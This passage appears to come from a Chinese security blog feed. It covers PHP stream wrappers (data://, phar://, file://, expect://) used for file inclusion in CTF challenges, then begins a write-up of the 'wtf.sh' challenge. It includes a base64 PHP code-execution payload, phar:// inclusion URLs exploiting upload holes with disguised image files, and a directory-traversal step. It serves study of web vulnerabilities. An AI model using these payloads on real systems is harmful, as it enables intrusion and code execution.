class="keyword">text</span>/plain;base64,PD9waHAgcGhwaW5mbygpOz8%<span class="number">2</span>b</span><br></pre></td></tr></table></figure><ul><li>示例-打印<code>data://</code>的内容</li></ul><figure class="highlight reasonml"><table><tr><td class="code"><pre><span class="line"><?php</span><br><span class="line"><span class="comment">// 打印 "I love PHP"</span></span><br><span class="line">echo file<span class="constructor">_get_contents('<span class="params">data</span>:<span class="operator">/</span><span class="operator">/</span><span class="params">text</span><span class="operator">/</span><span class="params">plain</span>;<span class="params">base64</span>,SSBsb3ZlIFBIUAo=')</span>;</span><br><span class="line">?></span><br></pre></td></tr></table></figure><h2 id="glob-协议">glob:// 协议</h2><p>查找匹配的文件路径模式, 自<code>PHP 5.3.0</code>起开始有效。下面为其基本用法:</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string"><?php</span></span><br><span class="line"><span class="string">//</span> <span class="string">循环</span> <span class="string">ext/spl/examples/</span> <span class="string">目录里所有</span> <span class="string">*.php</span> <span class="string">文件</span></span><br><span class="line"><span class="string">//</span> <span class="string">并打印文件名和文件尺寸</span></span><br><span class="line"><span class="string">$it</span> <span class="string">=</span> <span class="string">new</span> <span class="string">DirectoryIterator("glob://ext/spl/examples/*.php");</span></span><br><span class="line"><span class="string">foreach($it</span> <span class="string">as</span> <span class="string">$f)</span> <span class="string">{</span></span><br><span class="line"> <span class="string">printf("%s:</span> <span class="string">%.1FK\n",</span> <span class="string">$f->getFilename(),</span> <span class="string">$f->getSize()/1024);</span></span><br><span class="line"><span class="string">}</span></span><br><span class="line"><span class="string">?></span></span><br><span class="line"></span><br><span class="line"><span class="attr">output:</span></span><br><span class="line"></span><br><span class="line"><span class="attr">tree.php:</span> <span class="number">1.</span><span class="string">0K</span></span><br><span class="line"><span class="attr">findregex.php:</span> <span class="number">0.</span><span class="string">6K</span></span><br><span class="line"><span class="attr">findfile.php:</span> <span class="number">0.</span><span class="string">7K</span></span><br><span class="line"><span class="attr">dba_dump.php:</span> <span class="number">0.</span><span class="string">9K</span></span><br><span class="line"><span class="attr">nocvsdir.php:</span> <span class="number">1.</span><span class="string">1K</span></span><br><span class="line"><span class="attr">phar_from_dir.php:</span> <span class="number">1.</span><span class="string">0K</span></span><br><span class="line"><span class="attr">ini_groups.php:</span> <span class="number">0.</span><span class="string">9K</span></span><br><span class="line"><span class="attr">directorytree.php:</span> <span class="number">0.</span><span class="string">9K</span></span><br><span class="line"><span class="attr">dba_array.php:</span> <span class="number">1.</span><span class="string">1K</span></span><br><span class="line"><span class="attr">class_tree.php:</span> <span class="number">1.</span><span class="string">8K</span></span><br></pre></td></tr></table></figure><h2 id="phar-协议">phar:// 协议</h2><p>用以<code>PHP归档</code>,数据流包装器自<code>PHP 5.3.0</code>起开始有效,与<code>zip://</code>类似,同样可以访问<code>zip</code>格式压缩包内容,比如下面这个例子:</p><figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">http:<span class="regexp">//</span><span class="number">127.0</span>.<span class="number">0.1</span><span class="regexp">/include.php?file=phar:/</span><span class="regexp">/home/</span>test<span class="regexp">/WWW/</span>phpinfo.zip<span class="regexp">/phpinfo.txt</span></span><br></pre></td></tr></table></figure><p>该伪协议在<code>CTF</code>中比较常见,主要用于反序列化和文件包含,此文中只对其用于文件包含进行介绍,反序列化在后面将会单独拿出来讲。在文件包含中,该协议主要用于支持<code>zip、phar</code>格式的文件包含,用法如下:</p><figure class="highlight delphi"><table><tr><td class="code"><pre><span class="line">?<span class="keyword">file</span>=phar:<span class="comment">//[压缩包文件相对路径]/[压缩文件内的子文件名]</span></span><br><span class="line">?<span class="keyword">file</span>=phar:<span class="comment">//[压缩包文件绝对路径]/[压缩文件内的子文件名]</span></span><br></pre></td></tr></table></figure><ul><li>示例-配合文件上传漏洞,当仅可以上传zip格式时</li></ul><figure class="highlight fortran"><table><tr><td class="code"><pre><span class="line"><span class="built_in">index</span>.php?<span class="keyword">file</span>=phar://<span class="built_in">index</span>.zip/<span class="built_in">index</span>.txt</span><br><span class="line"></span><br><span class="line"><span class="built_in">index</span>.php?<span class="keyword">file</span>=phar://home/test/WWW/FI/<span class="built_in">index</span>.zip/<span class="built_in">index</span>.txt</span><br></pre></td></tr></table></figure><ul><li>示例-配合文件上传漏洞,当仅可以上传图片格式时,<code>phar://</code>不管后缀是什么,都会当做压缩包来解压。</li></ul><figure class="highlight delphi"><table><tr><td class="code"><pre><span class="line"><span class="keyword">index</span>.php?<span class="keyword">file</span>=phar:<span class="comment">//head.png/head.txt</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">index</span>.php?<span class="keyword">file</span>=phar:<span class="comment">//home/test/WWW/FI/head.png/head.txt</span></span><br></pre></td></tr></table></figure><h2 id="file-协议">file:// 协议</h2><p>用于访问本地文件系统,可以使用相对路径或绝对路径来访问文件系统文件,其使用样例为:</p><figure class="highlight pgsql"><table><tr><td class="code"><pre><span class="line">/<span class="type">path</span>/<span class="keyword">to</span>/file.ext</span><br><span class="line">relative/<span class="type">path</span>/<span class="keyword">to</span>/file.ext</span><br><span class="line">fileInCwd.ext</span><br><span class="line">C:/<span class="type">path</span>/<span class="keyword">to</span>/winfile.ext</span><br><span class="line">C:\<span class="type">path</span>\<span class="keyword">to</span>\winfile.ext</span><br><span class="line">\\smbserver\<span class="keyword">share</span>\<span class="type">path</span>\<span class="keyword">to</span>\winfile.ext</span><br><span class="line">file:///<span class="type">path</span>/<span class="keyword">to</span>/file.ext</span><br></pre></td></tr></table></figure><p>该伪协议在CTF中通常用来读取本地文件,因为其在双<code>off</code>的情况下也可以正常使用,不受<code>allow_url_fopen</code>与<code>allow_url_include</code>的影响。</p><ul><li>示例-使用文件的相对路径和文件名</li></ul><figure class="highlight livecodeserver"><table><tr><td class="code"><pre><span class="line"><span class="keyword">http</span>://<span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>/<span class="built_in">include</span>.php?<span class="built_in">file</span>=./phpinfo.txt</span><br></pre></td></tr></table></figure><ul><li>示例-使用文件的绝对路径和文件名</li></ul><figure class="highlight awk"><table><tr><td class="code"><pre><span class="line">http:<span class="regexp">//</span><span class="number">127.0</span>.<span class="number">0.1</span><span class="regexp">/include.php?file=file:/</span><span class="regexp">/home/</span>test<span class="regexp">/WWW/</span>phpinfo.txt</span><br></pre></td></tr></table></figure><h2 id="ssh2-协议">ssh2:// 协议</h2><p><code>Secure Shell 2</code>,默认没有激活,如果需要使用<code>ssh2.*://</code>封装协议,必须安装来自<code>PECL</code>的<code>SSH2</code>扩展,主要形式有:</p><figure class="highlight groovy"><table><tr><td class="code"><pre><span class="line">ssh2.<span class="string">shell:</span><span class="comment">//</span></span><br><span class="line">ssh2.<span class="string">exec:</span><span class="comment">//</span></span><br><span class="line">ssh2.<span class="string">tunnel:</span><span class="comment">//</span></span><br><span class="line">ssh2.<span class="string">sftp:</span><span class="comment">//</span></span><br><span class="line">ssh2.<span class="string">scp:</span><span class="comment">//</span></span><br></pre></td></tr></table></figure><p>该伪协议除了支持传统的<code>URI</code>登录信息,<code>ssh2</code>封装协议也支持通过<code>URL</code>的主机<code>(host)</code>部分来复用打开连接,用法如下所示:</p><figure class="highlight pf"><table><tr><td class="code"><pre><span class="line">ssh2.shell://<span class="keyword">user</span>:<span class="built_in">pass</span>@example.com:<span class="number">22</span>/xterm</span><br><span class="line">ssh2.exec://<span class="keyword">user</span>:<span class="built_in">pass</span>@example.com:<span class="number">22</span>/usr/local/bin/somecmd</span><br><span class="line">ssh2.tunnel://<span class="keyword">user</span>:<span class="built_in">pass</span>@example.com:<span class="number">22</span>/<span class="number">192.168</span>.<span class="number">0.1</span>:<span class="number">14</span></span><br><span class="line">ssh2.sftp://<span class="keyword">user</span>:<span class="built_in">pass</span>@example.com:<span class="number">22</span>/path/<span class="keyword">to</span>/filename</span><br></pre></td></tr></table></figure><p>下面为一个示例,用以从一个活动连接中打开字节流:</p><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="php"><span class="meta"><?php</span></span></span><br><span class="line"><span class="php">$session = ssh2_connect(<span class="string">'example.com'</span>, <span class="number">22</span>);</span></span><br><span class="line"><span class="php">ssh2_auth_pubkey_file($session, <span class="string">'username'</span>, <span class="string">'/home/username/.ssh/id_rsa.pub'</span>,</span></span><br><span class="line"><span class="php"> <span class="string">'/home/username/.ssh/id_rsa'</span>, <span class="string">'secret'</span>);</span></span><br><span class="line"><span class="php">$stream = fopen(<span class="string">"ssh2.tunnel://$session/remote.example.com:1234"</span>, <span class="string">'r'</span>);</span></span><br><span class="line"><span class="php"><span class="meta">?></span></span></span><br></pre></td></tr></table></figure><h2 id="ogg-协议">ogg:// 协议</h2><p>音频流协议,用以读取<code>OGG/Vorbis</code>格式的压缩音频编码,并能通过该伪协议写入或追加压缩音频数据,默认未激活,使用需要安装<code>PECL</code>中的<code>OGG/Vorbis</code>扩展。用法如下:</p><figure class="highlight dts"><table><tr><td class="code"><pre><span class="line"><span class="symbol">ogg:</span><span class="comment">//soundfile.ogg</span></span><br><span class="line"><span class="symbol">ogg:</span><span class="comment">///path/to/soundfile.ogg</span></span><br><span class="line"><span class="symbol">ogg:</span><span class="comment">//http://www.example.com/path/to/soundstream.ogg</span></span><br></pre></td></tr></table></figure><h2 id="expect-协议">expect:// 协议</h2><p>用以处理交互式的流,由<code>expect://</code>封装协议打开的数据流<code>PTY</code>提供了对进程<code>stdio</code>、<code>stdout</code>和<code>stderr</code>的访问,默认未开启,使用须安装<code>PECL</code>上的<code>Expect</code>扩展。用法如下:</p><figure class="highlight dts"><table><tr><td class="code"><pre><span class="line"><span class="symbol">expect:</span><span class="comment">//command</span></span><br></pre></td></tr></table></figure><h2 id="参考资料">参考资料</h2><p><a href="https://www.php.net/manual/zh/wrappers.php" target="_blank" rel="noopener">PHP 支持和封装的协议</a><br><a href="https://www.php.net/manual/zh/wrappers.php.php" target="_blank" rel="noopener">php:// 官方文档</a><br><a href="https://www.php.net/manual/zh/filters.php" target="_blank" rel="noopener">PHP 可用过滤器列表</a></p><h2 id="扩展阅读">扩展阅读</h2><p><a href="https://www.freebuf.com/column/148886.html" target="_blank" rel="noopener">php伪协议实现命令执行的七种姿势</a><br><a href="https://www.freebuf.com/articles/network/235054.html" target="_blank" rel="noopener">PHP文件包含漏洞利用思路与Bypass总结</a><br><a href="https://paper.seebug.org/680/" target="_blank" rel="noopener">利用 phar 拓展 php 反序列化漏洞攻击面</a></p>]]></content>
<summary type="html">
前一篇对SSRF的总结,实际上里面也是涉及到一些协议的,这里也在自己之前学习PHP伪协议时的笔记基础上进行扩充,对PHP伪协议进行一下总结。
</summary>
<category term="Web漏洞介绍" scheme="http://www.xiaozblog.top/categories/Web%E6%BC%8F%E6%B4%9E%E4%BB%8B%E7%BB%8D/"/>
<category term="CTF" scheme="http://www.xiaozblog.top/tags/CTF/"/>
<category term="Web漏洞" scheme="http://www.xiaozblog.top/tags/Web%E6%BC%8F%E6%B4%9E/"/>
<category term="PHP" scheme="http://www.xiaozblog.top/tags/PHP/"/>
</entry>
<entry>
<title>xctf_oj_web_wtf.sh</title>
<link href="http://www.xiaozblog.top/2019/09/20/xctf-oj-web-wtf-sh/"/>
<id>http://www.xiaozblog.top/2019/09/20/xctf-oj-web-wtf-sh/</id>
<published>2019-09-20T15:50:43.000Z</published>
<updated>2020-08-31T02:39:18.000Z</updated>
<content type="html"><![CDATA[<p>前面在总结攻防世界web系列的WP,然后碰到了这题,是16年CSAW CTF Qual的题,原本以为这里的题都会比较基础,但是没想到第二页就碰到了这样一个题,感觉通过这个题目还是能够学到点东西的。</p><h2 id="解题过程">解题过程</h2><h3 id="flag1">flag1</h3><p>首先打开题目,是一个论坛,有登录、注册、发表、评论等操作,最开始考虑是否能够进行注入但是发现没什么用,扫目录也找不到什么可以利用的文件,源码中也没有提示。</p><p>于是考虑多点开几个页面,对于源码和url等多观察,发现在查看别人的post时,url为"<a href="http://111.198.29.45:49606/post.wtf?post=NpO4g#1" target="_blank" rel="noopener">http://111.198.29.45:49606/post.wtf?post=NpO4g#1</a>"形式,是否post传输的是一个目录参数,通过目录参数来获取存储的post数据?这也是现在唯一找到的一个可控的参数。</p><p>因此考虑修改post参数,看看是否会有什么变化。最后发现,如果输入"…/",则会出现目录遍历,可以查看到网站源码。在搜索出来的源码中搜索,可以发现这样的代码。</p><p><img src="data:image/png;base64,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